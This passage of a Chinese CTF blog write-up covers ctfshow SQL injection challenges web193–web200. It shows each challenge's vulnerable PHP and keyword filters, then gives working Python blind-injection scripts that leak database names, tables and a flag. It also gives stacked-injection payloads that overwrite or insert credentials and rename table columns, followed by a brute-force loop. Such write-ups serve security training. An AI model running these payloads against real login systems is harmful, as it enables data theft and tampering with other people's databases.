            'username': f"0'||if((left((select f1ag from ctfshow_flxg),{j}))='{out+k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break
            
# right

        data = {
            'username': f"0'||if((right((select f1ag from ctfshow_flxg),{j}))='{k+out}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out = k + out
            print(out)
            break
   

web194

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";      
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

leftrightsubstring被ban了

了解lpadrpad用法:

s2参数是非必需的,如果我们不写s2参数,那其实就能当leftright

修改上面的脚本,如下:

import requests

url = "http://77af10f7-8d34-4971-b9d4-4b191a7fafb8.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查数据库名
        # data = {
        #     'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查表名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查列名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查具体字段
        data = {
            'username': f"0'||if((lpad((select f1ag from ctfshow_flxg),{j}))='{out+k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

web195

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";      
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }      

没过滤分号,ban掉了selectunion使得联合查询之类的不可用了,可以利用分号,进行堆叠注入。

Payload:

1;update(ctfshow_user)set`username`=233,`pass`=233;
->分号分隔语句,有前面可知ctfshow_user表,直接update覆盖用户密码
反引号 ` ` 用于避免字段名与 SQL 关键字冲突

SQL UPDATE 语句

UPDATE 语句用于更新表中已存在的记录。

SQL UPDATE 语法

UPDATE table_name SET column1 = value1, column2 = value2, …WHERE condition;

参数说明:

table_name:要修改的表名称。

column1, column2, …:要修改的字段名称,可以为多个字段。

value1, value2, …:要修改的值,可以为多个值。

condition:修改条件,用于指定哪些数据要修改。

web196

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";      
返回逻辑
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }
  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

看了别的师傅wp,还是没想明白为什么对select的过滤没生效

Payload:

1;select(1);
password传入1
# select()里面放什么数字,就会返回什么数字,然后丢进$row[0],最后就变成1==$password

web197

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";
      
返回逻辑
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

把长度限制去了,select是真正的不可用了

Payload:

1;show tables;

依题可知,存在一个表名“ctfshow_user”的表,那么执行show tables回显的结果必然在某一行出现“ctfshow_user”

web198

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";      
返回逻辑
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }
  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

setban了,可以用insert来插入覆盖

此处还过滤了creatdrop,这俩函数一个创建一个删,上题能删掉表内容在创建新内容达到覆盖效果?🧐

Payload:

1;insert ctfshow_user(username,pass) value(233,233)

另解:

思路主要是利用alter函数,把id和密码互换,密码我们不知道,但是id是数字,于是就可以进行爆破

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/15 22:53
# blog: www.wlhhlc.top
import requests

url = "http://e36a9275-a8a8-4def-bce5-0988a2b9b81d.challenge.ctf.show:8080/api/"
payload = '0x61646d696e;alter table ctfshow_user change column `pass` `dotast` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `dotast` `id` varchar(255);'
data1 = {
    'username': payload,
    'password': '1'
}
res = requests.post(url=url, data=data1)

for i in range(99):
    data2 = {
        'username': "0x61646d696e",
        'password': f'{i}'
    }
    res2 = requests.post(url=url, data=data2)
    if "flag" in res2.json()['msg']:
        print(res2.json()['msg'])
        break

web199

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";      
返回逻辑
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

用197同款方法打

web200

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";      
返回逻辑
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

还是用197的方法打

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇